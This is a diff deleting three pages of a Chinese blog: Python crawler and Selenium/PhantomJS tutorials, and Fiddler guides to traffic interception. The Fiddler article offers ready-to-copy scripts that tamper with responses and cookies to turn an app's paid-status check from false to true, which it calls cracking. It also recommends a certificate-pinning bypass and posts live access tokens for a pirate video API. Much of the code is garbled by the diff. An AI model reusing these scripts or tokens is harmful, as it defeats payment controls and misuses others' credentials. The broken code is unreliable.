    -allLinks = bsObj.find('div', {'id': 'bodyContent'}).findAll('a', href=re.compile("^(/wiki/)((?!:).)*$"))
    -# allLinks
    -# allLinks[0]
    -# # result: <a class="mw-disambig" href="/wiki/Kevin_Bacon_(disambiguation)" title="Kevin Bacon (disambiguation)">Kevin Bacon (disambiguation)</a>
    -# allLinks[0].text
    -# # result: 'Kevin Bacon (disambiguation)'
    -# allLinks[0].attrs['class']
    -# # result: ['mw-disambig']
    -# allLinks[0].attrs['href']
    -# # result: '/wiki/Kevin_Bacon_(disambiguation)'
    -# allLinks[0].attrs['title']
    -# # result: 'Kevin Bacon (disambiguation)'
    -# print(len(allLinks))  # 380
    -for link in allLinks:
    -    if 'href' in link.attrs:
    -        print(link.attrs['href'])
    -

    案例实战二

    获取网页https://en.wikipedia.org/wiki/Kevin_Bacon中的词条url链接以及关联页面中的词条url

    -

    `
    from urllib.request import urlopen
    from bs4 import BeautifulSoup
    import re
    import datetime
    import random

    -
  • -
-

def getLinks(articleUrl):
html = urlopen(“https://en.wikipedia.org" + articleUrl)
bsObj = BeautifulSoup(html, ‘lxml’)
return bsObj.find(‘div’, {‘id’: ‘bodyContent’}).findAll(‘a’, href=re.compile(“^(/wiki/)((?!:).)*$”))

-

links = getLinks(“/wiki/Kevin_Bacon”)
random.seed(datetime.datetime.now()) # 设置随机因子为系统时间,这样再使用随机函数时就不会取到重复值了
while len(links) > 0:
newArticle = links[random.randint(0, len(links) - 1)].attrs[“href”]
print(newArticle)
links = getLinks(newArticle)

-

-  > 上述代码存在两个隐患:
-  >  隐患1,有可能会从A页面到B页面再到A页面;
-  >  隐患2,没有做异常处理
-
-  ## 案例实战三
-
-  获取词条以及关联词条的url、标题、概要
-
-

pages = set() # url容器,作用:收集新的url链接;剔除已抓取的url

-

def getLinks(pageUrl):
global pages # 设为全局变量
html = urlopen(“https://en.wikipedia.org" + pageUrl)
bsObj = BeautifulSoup(html, “lxml”)
try:

-
      # 维基词条页面的特征:
-      # 1、所有的标题都在h1->span标签里,而且只有一个标题标签
-      # 2、正文文字在div#bodyContent标签里;第一段文字 div#mw-content-text->p
-      # 3、编辑链接只出现在词条页面上,位于li#ca-edit标签里的 li#caedit->span->a
-      print("https://en.wikipedia.org" + pageUrl)
-      print(bsObj.h1.get_text())
-      print(bsObj.find(id="mw-content-text").findAll("p")[0])
-      print(bsObj.find(id="ca-edit").find("span").find("a").attrs['href'])
-  except AttributeError:
-      print("This page is missing something! No worries though!")
-
-  allLinks = bsObj.find_all("a", href=re.compile("^(/wiki/)((?!:).)*$"))
-  for link in allLinks:
-      if 'href' in link.attrs:
-          newPage = link.attrs['href']
-          print("------------------------\n" + newPage)
-          pages.add(newPage)
-          getLinks(newPage)
-

getLinks(“/wiki/Farouk_Topan”)

-

-  ## 案例实战四
-
-  通过定义函数,获取页面内的所有外链
-
-

from urllib.request import urlopen
from bs4 import BeautifulSoup
import datetime
import random
import re

-

random.seed(datetime.datetime.now())
allExtLinks = set()
allIntLinks = set()

-

获取页面所有内链的列表

def getInternalLinks(bsObj, includeUrl):
internalLinks = []

-
  # Finds all links that begin with a "/"
-  for link in bsObj.findAll("a", href=re.compile("^(/.*" + includeUrl + ")")):
-      if link.attrs["href"] is not None:
-          if link.attrs["href"] not in internalLinks:
-              internalLinks.append(link.attrs["href"])
-  return internalLinks
-

获取所有外链的列表

def getExternallLinks(bsObj, excludeUrl):
externalLinks = []

-
  # Finds all links that start with "http" or "www" that do not contain the current URL
-  for link in bsObj.findAll("a", href=re.compile("^(http|www)((?!" + excludeUrl + ").)*$")):
-      if link.attrs["href"] is not None:
-          if link.attrs['href'] not in externalLinks:
-              externalLinks.append(link.attrs['href'])
-  return externalLinks
-

url拆分

def splitAddress(address):
addressParts = address.replace(“http://“, “”).split(“/“)
return addressParts

-

Collects a list of all external URLs found on the site

def getAllExternalLinks(siteUrl):
html = urlopen(siteUrl)
bsObj = BeautifulSoup(html, ‘lxml’)
internalLinks = getInternalLinks(bsObj, splitAddress(siteUrl)[0])
externalLinks = getExternallLinks(bsObj, splitAddress(siteUrl)[0])

-
  for link in externalLinks:
-      if link not in allExtLinks:
-          allExtLinks.add(link)
-          print(link)
-  for link in internalLinks:
-      if link not in allIntLinks:
-          allIntLinks.add(link)
-          getAllExternalLinks("http:" + link)
-

getAllExternalLinks(“http://oreilly.com")
`

- -
-
- - - - -
- - - - -
- - - - - - -
- - - -
- - - - -
-
- - - - - - - - - - - - - -
-
- -
-
-  上一篇
-
- -
- - Python网络爬虫实战之七:动态网页爬取案例实战 Selenium + PhantomJS - - Python网络爬虫实战之七:动态网页爬取案例实战 Selenium + PhantomJS -
-
-
-
- - -正文:一、Selenium1、Selenium是什么Selenium 是什么?一句话,自动化测试工具。它支持各种浏览器,包括 Chrome,Safari,Firefox 等主流界面式浏览器,如果你在这些浏览器里面安装一个 Selenium - -
-
- - 2019-05-19 - - - - - - - - - -
-
- - - -
-
- - -
-
- 下一篇  -
-
- -
- - 什么是 Shodan? - - 什么是 Shodan? -
-
-
-
- - 什么是 Shodan?首先,Shodan 是一个搜索引擎,但它与 Google 这种搜索网址的搜索引擎不同,Shodan 是用来搜索网络空间中在线设备的,你可以通过 Shodan 搜索指定的设备,或者搜索特定类型的设备,其中 Shodan - -
-
- - 2019-05-17 - - - - - - - - - -
-
- - - -
-
- -
-
-
- - - - - -
- - - - -
- - - - - - - - -
- - - -
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/2019/05/19/python-crawler-static-sample-7/index.html b/2019/05/19/python-crawler-static-sample-7/index.html deleted file mode 100644 index 6331154..0000000 --- a/2019/05/19/python-crawler-static-sample-7/index.html +++ /dev/null @@ -1,910 +0,0 @@ - - - - - - - - - - - - - - - - Python网络爬虫实战之七:动态网页爬取案例实战 Selenium + PhantomJS | 苦乐随缘 - - - - - - - - - - - - - - - - - - - - - - - - - -
-
-
-
-
-
- Python网络爬虫实战之七:动态网页爬取案例实战 Selenium + PhantomJS -
-
-
-
-
-
- - - -
- - - -
-
- -
-
-
-
    -
  • 正文:

    一、Selenium

    1、Selenium是什么

    Selenium 是什么?一句话,自动化测试工具。它支持各种浏览器,包括 Chrome,Safari,Firefox 等主流界面式浏览器,如果你在这些浏览器里面安装一个 Selenium 的插件,那么便可以方便地实现Web界面的测试。换句话说叫 Selenium 支持这些浏览器驱动。

    -

    2、安装Selenium

      -
    • 方法一:pip install selenium
    • -
    • 方法二:下载源码后解压,进入解压后的目录,执行 python setup.py install
    • -
    -

    3、安装浏览器驱动

    使用谷歌浏览器,则下载chromedriver.exe,下载成功后,把chromedriver.exe复制到Python安装路径下的Scripts目录中

    -

    使用其他浏览器方法类似

    -

    4、快速体验Selenium

    使用pyhon打开浏览器,并自动访问百度首页

    -
    from selenium import webdriver
    -
    -browser = webdriver.Chrome()
    -browser.get('http://www.baidu.com/')
    -

    打开浏览器,并自动在百度中搜索“Python”关键词

    -
    from selenium import webdriver
    -from selenium.webdriver.common.keys import Keys
    -
    -browser = webdriver.Chrome()
    -browser.get('https://www.baidu.com')
    -input = browser.find_element_by_id('kw')
    -input.send_keys('Python')
    -input.send_keys(Keys.ENTER)
    -

    5、爬取网页代码:自动在百度中搜索“Python”关键词后的网页

    from selenium import webdriver
    -from selenium.webdriver.common.by import By
    -from selenium.webdriver.common.keys import Keys
    -from selenium.webdriver.support import expected_conditions as EC
    -from selenium.webdriver.support.wait import WebDriverWait
    -
    -browser = webdriver.Chrome()
    -try:
    -    browser.get('https://www.baidu.com')
    -    input = browser.find_element_by_id('kw')
    -    input.send_keys('Python')
    -    input.send_keys(Keys.ENTER)
    -    wait = WebDriverWait(browser, 10)
    -    wait.until(EC.presence_of_element_located((By.ID, 'content_left')))
    -    print(browser.current_url)
    -    print(browser.get_cookies())
    -    print(browser.page_source)
    -finally:
    -    browser.close()
    -

    Selenium的更详细资料可参考Selenium with Python中文翻译文档

    -

    二、PhantomJS

    1、PhantomJs是什么?

    PhantomJs是什么?是一个基于Webkit的”无界面”(headless)浏览器,它会把网站加载到内存并执行页面上的JavaScript,因为不会展示图形界面,所以运行起来比完整的浏览器更高效。

    -

    爬取动态网页的时候,通常是PhantomJS 用来渲染解析JS,Selenium 用来驱动以及与 Python 的对接,Python 进行后期的处理,完美的三剑客!

    -

    2、安装PhantomJS

    PhantomJS官方下载地址
    下载成功后,解压得到phantomjs-2.1.1-windows文件夹,bin目录下的phantomjs.exe文件才是我们真正需要的,example目录下的文件时官方示例代码。

    -

    可以通过设置环境变量来使用PhantomJS,也可以通过指定路径来操作。设置环境变量的方法式把phantomjs-2.1.1-windows的bin配置到path中,比如我的路径是D:\python\PythonLibs\phantomjs-2.1.1-windows\bin

    -

    通过输出PhantomJS来检验PhantomJS是否可用:

    -
      -
    • 如果配置了系统环境变量,在cmd控制台直接输入:phantomjs -v
    • -
    • 如果没有配置系统全局变量,则进入到phantomjs.exe文件的所在目录,比如:D:\Python\PythonLibs\phantomjs-2.1.1-windows\bin,然后再执行 phantomjs -v
    • -
    -

    3、快速体验PhantomJS

    使用方法:进入phantomjs.exe所在目录,然后执行 phantomjs 文件绝对路径

    -

    执行官方示例中的hello.js文件(假设没有配置系统全局变量)

    -
    D:\DataguruPyhton>cd D:\python\PythonLibs\phantomjs-2.1.1-windows\bin
    -D:\Python\PythonLibs\phantomjs-2.1.1-windows\bin>phantomjs D:\python\PythonLibs\pha
    -ntomjs-2.1.1-windows\examples\hello.js
    -
    -运行结果是:Hello, world!
    -

    其中hello.js中的代码是:

    -
    "use strict";
    -console.log('Hello, world!');
    -phantom.exit();
    -

    执行官方示例中的version.js文件(假设没有配置系统全局变量)

    -
    D:\Python\PythonLibs\phantomjs-2.1.1-windows\bin>phantomjs D:\python\PythonLibs\pha
    -ntomjs-2.1.1-windows\examples\version.js
    -
    -运行结果是:using PhantomJS version 2.1.1
    -

    其中version.js中的代码是:

    -
    "use strict";
    -console.log('using PhantomJS version ' +
    -  phantom.version.major + '.' +
    -  phantom.version.minor + '.' +
    -  phantom.version.patch);
    -phantom.exit();
    -

    PhantomJS更详细资料可参考PhantomJS官方文档

    -

    三、Selenium+PhantomJS结合使用

    Selenium + PhantomJS 实例一

    -
    from selenium import webdriver
    -# 调用键盘按键操作需要引入keys包
    -from selenium.webdriver.common.keys import Keys
    -
    -# 调用指定的PhantomJS浏览器创建浏览器对象(没有在环境变量中指定PhantomJS位置)
    -driver = webdriver.PhantomJS(executable_path=r'D:\python\PythonLibs\phantomjs-2.1.1-windows\bin\phantomjs')
    -# 调用环境变量指定的PhantomJS浏览器创建浏览器对象(如果已经在环境变量中指定了PhantomJS位置)
    -# driver = webdriver.PhantomJS()
    -driver.set_window_size(1366, 768)
    -# get方法会一直等到页面加载,然后才会继续程序,通常测试会在这里选择time.sleep(2)
    -driver.get("http://www.baidu.com/")
    -# 获取页面名为wraper的id标签的文本内容
    -data = driver.find_element_by_id('wrapper').text
    -# 打印数据内容
    -print(data)
    -# 把百度设为主页关于百度About  Baidu百度推广
    -# ©2018 Baidu 使用百度前必读 意见反馈 京ICP证030173号  京公网安备11000002000001号
    -print(driver.title)  # result: 百度一下,你就知道
    -# 生成页面快照并保存
    -driver.save_screenshot(r'D:\DataguruPyhton\PythonSpider\images\baidu.png')
    -# id="kw"是百度搜索输入框,输入字符串"长城"
    -driver.find_element_by_id('kw').send_keys(u'长城')
    -# id="su"是百度搜索按钮,click()是模拟点击
    -driver.find_element_by_id('su').click()
    -# 获取新的页面快照
    -driver.save_screenshot(r'D:\DataguruPyhton\PythonSpider\images\长城.png')
    -# 打印网页渲染后的源代码
    -print(driver.page_source)
    -# 获取当前页面Cookie
    -print(driver.get_cookies())
    -driver.quit()
    -

    Selenium + PhantomJS 实例二

    -
    from selenium import webdriver
    -import time
    -# 调用键盘按键操作需要引入keys包
    -from selenium.webdriver.common.keys import Keys
    -
    -# 调用指定的PhantomJS浏览器创建浏览器对象(没有在环境变量中指定PhantomJS位置)
    -driver = webdriver.PhantomJS(executable_path=r'D:\python\PythonLibs\phantomjs-2.1.1-windows\bin\phantomjs')
    -# 调用环境变量指定的PhantomJS浏览器创建浏览器对象(如果已经在环境变量中指定了PhantomJS位置)
    -# driver = webdriver.PhantomJS()
    -driver.set_window_size(1366, 768)
    -# get方法会一直等到页面加载,然后才会继续程序,通常测试会在这里选择time.sleep(2)
    -driver.get("http://www.baidu.com/")
    -# id="kw"是百度搜索输入框,输入字符串"情人节"
    -driver.find_element_by_id('kw').send_keys(u'情人节')
    -# ctrl+a全选输入框内容
    -driver.find_element_by_id('kw').send_keys(Keys.CONTROL, 'a')
    -# ctrl+x剪切输入框内容
    -driver.find_element_by_id('kw').send_keys(Keys.CONTROL, 'x')
    -# 输入框重新输入内容
    -driver.find_element_by_id('kw').send_keys('鲜花')
    -# 模拟Enter回车键
    -driver.find_element_by_id('su').send_keys(Keys.RETURN)
    -time.sleep(5)
    -# 清空输入框内容
    -driver.find_element_by_id('kw').clear()
    -# 生成新的页面快照
    -driver.save_screenshot(r'D:\DataguruPyhton\PythonSpider\images\鲜花.png')
    -# 获取当前url
    -print(driver.current_url)
    -driver.quit()
    -

    Selenium + PhantomJS 实例三:爬取包含Ajax的动态网页数据

    -
    ## Selenium+PhantomJS爬取包含Ajax的动态网页数据:通过手动延时
    -from selenium import webdriver
    -import time
    -
    -driver = webdriver.PhantomJS(executable_path=r'D:\python\PythonLibs\phantomjs-2.1.1-windows\bin\phantomjs')
    -driver.get("http://pythonscraping.com/pages/javascript/ajaxDemo.html")
    -# driver.page_source
    -time.sleep(3)
    -print(driver.find_element_by_id("content").text)
    -driver.close()
    -

    完善后的代码

    -
    ## Selenium+PhantomJS爬取包含Ajax的动态网页数据:通过检查页面是否加载完毕
    -from selenium.webdriver.common.by import By
    -from selenium.webdriver.support.ui import WebDriverWait
    -from selenium.webdriver.support import expected_conditions as EC
    -
    -driver = webdriver.PhantomJS(executable_path=r'D:\python\PythonLibs\phantomjs-2.1.1-windows\bin\phantomjs')
    -driver.get("http://pythonscraping.com/pages/javascript/ajaxDemo.html")
    -try:
    -    element = WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.ID, "loadedButton")))
    -finally:
    -    print(driver.find_element_by_id("content").text)
    -    driver.close()
    -

    Selenium + PhantomJS 实例四:爬取重定向的动态网页数据

    -

    `
    from selenium import webdriver
    from selenium.common.exceptions import StaleElementReferenceException

    -
  • -
-

def waitForLoad(driver):
elem = driver.find_element_by_tag_name(“html”)
count = 0
while True:
count += 1
if count > 20:
print(“Timing out after 10 seconds and returning”)
return
time.sleep(.5)
try:
elem == driver.find_element_by_tag_name(“html”)
except StaleElementReferenceException:
return

-

driver = webdriver.PhantomJS(executable_path=r’D:\python\PythonLibs\phantomjs-2.1.1-windows\bin\phantomjs’)
driver.get(“http://pythonscraping.com/pages/javascript/redirectDemo1.html")
waitForLoad(driver)
print(driver.page_source)

-

-  ## 四、Selenium+PhantomJS使用时报错原因及解决方案
-
-  ### 1、现象
-
-  报错日志:
-
-

UserWarning: Selenium support for PhantomJS has been deprecated, please use headless versions of Chrome or Firefox instead warnings.warn(‘Selenium support for PhantomJS has been deprecated, please use headless ‘

-

-  就是说selenium已经放弃PhantomJS,了,建议使用火狐或者谷歌无界面浏览器。
-
-  ### 2、解决方案
-
-  - 方案一:selenium版本降级,卸载当前selenium,重现安装低版本的selenium,比如pip install selenium==3.8.0
-  - 方案二:使用 Selenium + Headless Firefox 或 Selenium + Headless Chrome
-
-  > 将在下篇文章中详细介绍 Selenium + Headless Chrome
-
-  ## 五、本篇文章中的代码,运行环境
-
-  - Python 3.6.4
-  - selenium 3.8.0
-  - phantomjs-2.1.1-windows
-  - chromedriver.exe
-
-  ## 六、彩蛋:pillow对图片进行处理
-
-  为以后读取图片验证码铺垫
-
-

需要先安装pillow,安装方法:pip install pillow

from PIL import Image, ImageFilter

-

kitten = Image.open(u”D:\DataguruPyhton\PythonSpider\images\girl1.jpg”)
blurryKitten = kitten.filter(ImageFilter.GaussianBlur)
blurryKitten.save(u”D:\DataguruPyhton\PythonSpider\images\girl2.jpg”)
blurryKitten.show()
`

- -
-
- - - - -
- - - - -
- - - - - - -
- - - -
- - - - -
-
- - - - - - - - - - - - - -
-
- -
-
-  上一篇
-
- -
- - 【Fiddler为所欲为第二篇】像OD一样调试 - - 【Fiddler为所欲为第二篇】像OD一样调试 -
-
-
-
- - - -导语: 其实Fiddler隐藏的功能太多太多,其调试功能也是异常强大,可以说是抓包界的“OllyDbg”并不为过。接下来,教大家如何使用Fiddler进行调试、解析,甚至封包“逆向”! - - - -一、像OD一样定制菜单 - 1.1定制ru - -
-
- - 2019-06-02 - - - - - - - - - -
-
- - - -
-
- - -
-
- 下一篇  -
-
- -
- - Python网络爬虫实战之六:静态网页爬取案例实战 - - Python网络爬虫实战之六:静态网页爬取案例实战 -
-
-
-
- - -正文:预备知识点:正则表达式之 pattern+?、pattern*?、(?!pattern)、(?:pattern)pattern+?、pattern*?这两个比较常用,表示懒惰匹配,即匹配符合条件的尽量短的字符串。默认情况下 + 和 - -
-
- - 2019-05-18 - - - - - - - - - -
-
- - - -
-
- -
-
-
- - - - - -
- - - - -
- - - - - - - - -
- - - -
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/2019/06/02/fiddler-four/index.html b/2019/06/02/fiddler-four/index.html deleted file mode 100644 index 448a3b5..0000000 --- a/2019/06/02/fiddler-four/index.html +++ /dev/null @@ -1,696 +0,0 @@ - - - - - - - - - - - - - - - - 【Fiddler为所欲为第四篇】直播源抓取与接口分析 | 苦乐随缘 - - - - - - - - - - - - - - - - - - - - - - - - - -
-
-
-
-
-
- 【Fiddler为所欲为第四篇】直播源抓取与接口分析 -
-
-
-
-
-
- - - -
- - - -
-
- -
-
-
-
    -
  • 今天的教程,主要是教大家如何进行“封包逆向”,关键词跳转,接口分析。(怎么样,是不是感觉和OD很像~~~)
    今天的教程我们以【麻花影视】为例,当然,其他APP的逻辑也是一样,通用的哦~
    首先需要做好准备工作:(所有APP的抓包都会用到以下工具,就不要再说抓不到证书的包啦。)
    1、安卓模拟器,并进行root。(推荐使用MUMU模拟器),当然,安卓手机肯定没有问题。
    2、安装XP框架(用模拟器可以自适应),链接:https://pan.baidu.com/s/1YfLpVQb1QophNO38alNdug 提取码:5m98
    3、安装https HOST(基于XP框架),链接:https://pan.baidu.com/s/1PFidSyoAtHynxNPF4t-voA 提取码:0f2d
    以上的准备工作必须要做,不然很多包是抓不到的!!!
    FD的wifi代{过}{滤}理教程就不说啦,网上很多,我这里直接开始演示哦~
    第一步:
    首先,我们打开咪咕视频,找到想要抓的节目,并观察FD里面是否有数据。【我这里就以【CCTV1】为例】。
    img

    -

    img
    若发现FD有数据,既表示正确,既可开始下一步。
    第二步:
    正常打开CCTV1,然后看FD里面的数据。
    img

    -

    img
    第三步:
    过滤封包,将所有封包进行数据化。
    img
    第四步:
    进行关键字查询,和OD的PUSH大法差不多,直播源的关键词是【m3u8】。首先我们需要查询咪咕视频的节目源是否是m3u8格式,因此搜索:m3u8,若出现黄色表示该请求含有m3u8.因此,我们需要看看这个封包。
    img
    第五步:
    封包分析,通常非常多数据的则是ison,所以我们点击json。
    img
    通过Json,很明显,可以看得出来,这个play.miguvideo.com这个域名,返回了一个m3u8的地址。
    url=http://gslbmgsplive.miguvideo.com/wd_r2/cctv/cctv1/600/index.m3u8?msisdn=10b1efdfd58919f4ccf07b3987d39131&mdspid=&spid=699004&netType=4&sid=2200291011&pid=2028597139×tamp=20190212113218&Channel_ID=25000502-99000-200300080100005&ParentNodeID=-99&assertID=2200291011&client_ip=125.123.158.154&SecurityKey=20190212113218&imei=008796753773920&promotionId=&mvid=&mcid=&mpid=&encrypt=4b4a040bf73d40d80a8974fdc095d593
    可以看出,这个m3u8,包含了很多参数,比如我们的IP信息。
    img
    第六部:
    用VCL等播放工具,试试看能不能播放。若可以播放,则证明我们的播放地址是对的。因此,play.miguvideo.com则是播放地址的接口。
    img
    第七部:抓任意频道的接口。
    我们用在FD命令下输入:bpater play.miguvideo.com
    img
    然后回车。
    img
    第八部:
    点击任意频道,就可以自动下断点得到播放地址了。而且非常明显!
    img

    -
  • -
- -
-
- - - - -
- - - - -
- - - - - - -
- - - -
- - - - -
-
- - - - - - - - - - - - - -
-
- -
-
-  上一篇
-
- -
- - - - - -
-
-
-
- - 关于CVE-2019-0708漏洞浅析,和POC验证整理1. 漏洞情况: 微软公司于2019年5月14日发布重要安全公告,其操作系统远程桌面(Remote Desktop Services),俗称的3389服务存在严重安全漏洞(编号CVE - -
-
- - 2019-06-11 - - - - - Demo - - -
-
- -
-
- - -
-
- 下一篇  -
-
- -
- - 【Fiddler为所欲为第三篇】封包逆向必备知识 - - 【Fiddler为所欲为第三篇】封包逆向必备知识 -
-
-
-
- - - - - -小A同学:会抓包有什么好学习的,不就用一个工具设置个wifi代{过}{滤}理就OK了嘛,还不是很多做不了。不如学习安卓逆向。 didi科学家:不好意思,抓包可以为所欲为。 - -其实学习抓包,完完全全和OD是一模一样的逻辑,尤其是封包逆 - -
-
- - 2019-06-02 - - - - - - - - - -
-
- - - -
-
- -
-
-
- - - - - -
- - - - -
- - - - - - - - -
- - - -
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/2019/06/02/fiddler-one/index.html b/2019/06/02/fiddler-one/index.html deleted file mode 100644 index d401666..0000000 --- a/2019/06/02/fiddler-one/index.html +++ /dev/null @@ -1,853 +0,0 @@ - - - - - - - - - - - - - - - - Fiddler大解析!抱歉,抓包抓得好真的可以为所欲为 | 苦乐随缘 - - - - - - - - - - - - - - - - - - - - - - - - - -
-
-
-
-
-
- Fiddler大解析!抱歉,抓包抓得好真的可以为所欲为 -
-
-
-
-
-
- - - -
- - - -
-
- -
-
-
-

说起抓包,很多人以为就是用个工具,简简单单地抓一下就可以了。

-

在这里,我必须发一个教程,解析一下抓包神器——Fiddler。

-

Fiddler仅仅是一个抓包工具?不好意思,Fiddler用得好,真的可以为所欲为。

-

Fiddler的作者

-
    -
  • Fiddler 的作者是 Eric Lawrence 是个大师级的人物, 目前在微软总部西雅图工作。 他的博客是: http://www.ericlawrence.com/Eric/
  • -
  • 博客中能看到他的简历,以及一些生活照.
  • -
-

Fiddler的介绍

-
    -
  • Fiddler是强大的抓包工具,它的原理是以web代{过}{滤}理服务器的形式进行工作的,使用的代{过}{滤}理地址是:127.0.0.1,端口默认为8888,我们也可以通过设置进行修改。
  • -
  • 代{过}{滤}理就是在客户端和服务器之间设置一道关卡,客户端先将请求数据发送出去后,代{过}{滤}理服务器会将数据包进行拦截,代{过}{滤}理服务器再冒充客户端发送数据到服务器;同理,服务器将响应数据返回,代{过}{滤}理服务器也会将数据拦截,再返回给客户端。
  • -
  • Fiddler可以抓取支持http代{过}{滤}理的任意程序的数据包,如果要抓取https会话,要先安装证书。
  • -
-

这两点,希望大家牢记。接下来,给大家介绍Fiddler超级强大的地方之一——Fiddler Script.

-

论坛有很多Fiddler的使用教程,这里就不多说了。但是,却没有一个人说到最强大的脚本功能!

-
-

Fiddler 包含了一个脚本文件可以自动修改Http Request 和Response.这样我们就不需要手动地下”断点”去修改了,实际上它是一个脚本文件CustomRules.js
位于: C:\Documents and Settings[your user]\My Documents\Fiddler2\Scripts\CustomRules.js 下,你也可以在Fiddler 中打开CustomRules.js 文件, 启动Fiddler, 点击菜单Rules->Customize Rules…
Fiddler Script 的官方帮助文档必须认真阅读, 地址是:http://www.fiddler2.com/Fiddler/dev/ScriptSamples.asp

-
-

小常识:Fiddler Script 是用JScript.NET语言写的

-

那么Fiddler Script到底有什么用?我这里来列举一些大家肯定遇到过的问题:

-

场景1:一个付费验证,是否付费会返回一个json。里面有一个时间戳和一个false。如果时间戳和客户端不一致,则为破解失败。

-

那么你一定会这么想,有没有一个功能,可以只替换json里面部分参数,然后返回给客户端,而不是全部写死呢?于是,我们需要使用到script了!代码如下:如一个json是这个内容,baidu.com,返回了一个【name:吾爱破解,付费:false】

-
-

if (oSession.fullUrl.Contains(“http://www.baidu.com"))
{

-
          // 获取Response Body、Request Body中JSON字符串,转换为可编辑的JSONObject变量
-          var responseStringOriginal =  oSession.GetResponseBodyAsString();
-          var responseJSON = Fiddler.WebFormats.JSON.JsonDecode(responseStringOriginal);
-          var requestStringOriginal=oSession.GetRequestBodyAsString();
-          var requestJSON = Fiddler.WebFormats.JSON.JsonDecode(requestStringOriginal);
-          ){ //请求参数中,若type为1,对返回值做如下修改
-
-              responseJSON.JSONObject['付费'] = "true";
-              // 重新设置Response Body
-              var responseStringDestinal = Fiddler.WebFormats.JSON.JsonEncode(responseJSON.JSONObject);
-              oSession.utilSetResponseBody(responseStringDestinal);
-          }
-      }
-

}

-
-

通过以上代码,即可每次在baidu返回数据时,自动将付费改为true,从而达到了破解的效果。

-

场景2:我想要修改request的Body里面的部分参数,每次下完断点,修改完再提交,总会网络超时或者APP超时。这该怎么办?难道只能靠手速?

-
-

​ if(oSession.uriContains(“http://www.baidu.com"))
​ {
​ var strBody=oSession.GetRequestBodyAsString();// 获取Request 中的body字符串
​ strBody=strBody.replace(“false”,”true”);// 用正则表达式或者replace方法去修改string,将false改为true
​ FiddlerObject.alert(strBody);// 弹个对话框检查下修改后的body
​ oSession.utilSetRequestBody(strBody);// 将修改后的body,重新写回Request中
​ }

-
-

场景3:我想要修改cookie,改成一个付费过的cookie,但是需要实时生成,不能靠手速。这该怎么办?

-
-

if (oSession.HostnameIs(‘www.baidu.com') && oSession.uriContains(‘pagewithCookie’) && oSession.oRequest.headers.Contains(“Cookie”))
{
var sCookie = oSession.oRequest[“Cookie”];
// 用replace方法或者正则表达式的方法去操作cookie的string
sCookie = sCookie.Replace(“付费=false”, “付费=true”);
oSession.oRequest[“Cookie”] = sCookie;

-
-

场景4:我想要知道他到底有没有请求具体哪个网址,用查找速度太慢了。过滤也很慢。

-
-

if (oSession.HostnameIs(“www.baidu.com")) {
oSession[“ui-color”] = “red”;
}

-
-

场景5:我想要自动保存某个接口的数据到本地,怎么才能实现?

-
-

if (oSession.fullUrl.Contains(“www.baidu.com/playurl/v1/") ){
oSession.utilDecodeResponse();//消除保存的请求可能存在乱码的情况
var fso;
var file;
fso = new ActiveXObject(“Scripting.FileSystemObject”);
//文件保存路径,可自定义
file = fso.OpenTextFile(“D:\Sessions.txt”,8 ,true, true);
//file.writeLine(“Response code: “ + oSession.responseCode);
file.writeLine(“Response body: “ + oSession.GetResponseBodyAsString());
file.writeLine(“\n”);
file.close();
}

-
-

——————————————————————————————————————————————————————————————————————

-

以上就是Fiddler script经常使用到的功能,免费奉献给大家。直接复制即可使用。

-

Fiddler的脚本介绍到这里,那么,说到底Fiddler还是只能抓包啊,即使基于xpoesd能抓到https的包,还是发现有很多包抓不到啊!!!等等,本文还没完呢!

-

-

接下来的内容,公布过后,会涉及到技术滥用,因此,仅公布原理。

-

-

首先来讲https,也就是安卓APP证书这一款,目前论坛上已经有不少的朋友发了相关的一些程序,大家可以去下载。

-

如:

-

https://www.52pojie.cn/thread-854170-1-1.html

-

但是,我个人比较倾向于just trust me这个插件,这是最全能的。just trust me是hook了安卓框架验证机制,更加棒~

-

————————————————————————————————————————————————————————

-

首先,大家抓包会遇到一个问题,为什么即使绕过了APP证书验证,为什么还是抓不到包!难道不是http协议?

-

其实并不是,APP大多数还是走的http协议,那为什么抓不到优酷的视频?抓不到关键的访问——原因在于此,代{过}{滤}理!

-
-

目前有非常多的APP,都为了防止被抓包,不仅仅是只用了https这么简单。而使用fiddler抓不到包,本质原因在于wifi代{过}{滤}理!很多APP会检测你是否用了wifi代{过}{滤}理,如果设置了,则APP无法正常使用。这样就会从根本上杜绝被抓包

-
-

那么,我们要怎么做才能防止这种情况的发生呢?

-

比较笨的一种办法依旧是使用xposed上的just trust me,依旧hook相关函数,即可破解该策略。

-

—————————————————————————————————————————————————————————

-

等等,我发现用了trust me过后,还是抓不到包,这到底是怎么回事!!!

-

非常简单,他们就是利用了本地服务器中转,这样的话Fiddler是抓不了包的。比如著名APP:麻花影视、电视家

-

那么,有没有办法能抓到这种操作的包呢?当然是有的。

-

这边只能透露几点,不能正大光明地公布,否则大量非法分子就可以破解非常多的APP了。

-
-

提示:Fiddler的本质其实就是代{过}{滤}理服务器,那么,如果是代{过}{滤}理服务器,所有的请求是不是都会走这台服务器呢?那是肯定的。

-
-

——————————————————————————————————————————————————————————

-

最后,抓包除了破解APP以外,还有什么用?

-

第一:抓接口,可以将所有的视频点播类APP都抓下来!

-

如麻花视频:

-

————————

-
-

GET http://api.acgplusplus.com/api/a … &time=1547183436020 HTTP/1.1

-
-
-

Content-Type: application/json

-
-
-

Accept: application/json

-
-
-

accessToken: 936b8872c4f81b6537eaa80f4e2e78c7807cebbcb02548d8d4da1e55c61c6509

-
-
-

X-Client-NonceStr: FbWu9jFnpG

-
-
-

X-Client-IP: 127.0.0.1

-
-
-

X-Client-TimeStamp: 1543592259810

-
-
-

X-Client-Version: 1.1.1

-
-
-

X-Client-Sign: 61274de99728b3981041d657bec4528b416658cd651110f9cf950dd3fbc0b15f

-
-
-

X-Auth-Token: mb_token:25361603:1211f5511483be1def9af655c10ede12

-
-
-

X-Client-Token:

-
-
-

Host: api.acgplusplus.com

-
-
-

Connection: Keep-Alive

-
-
-

User-Agent: okhttp/3.10.0

-
-
-

Accept-Encoding: identity

-
-

——————————————————————————————————

-

这个接口大家可以用用,永不失效的接口!返回出来的地址就是这样。(大家可以直接用,哈哈,本来麻花视频也是盗版的)

-

再比如优酷的播放接口:

-
-

GET https://ups.youku.com/ups/get.json?ckey=不公布,免得被盗用
User-Agent: Youku;7.5.0;Android;6.0.1;MuMu
Host: ups.youku.com
Connection: Keep-Alive
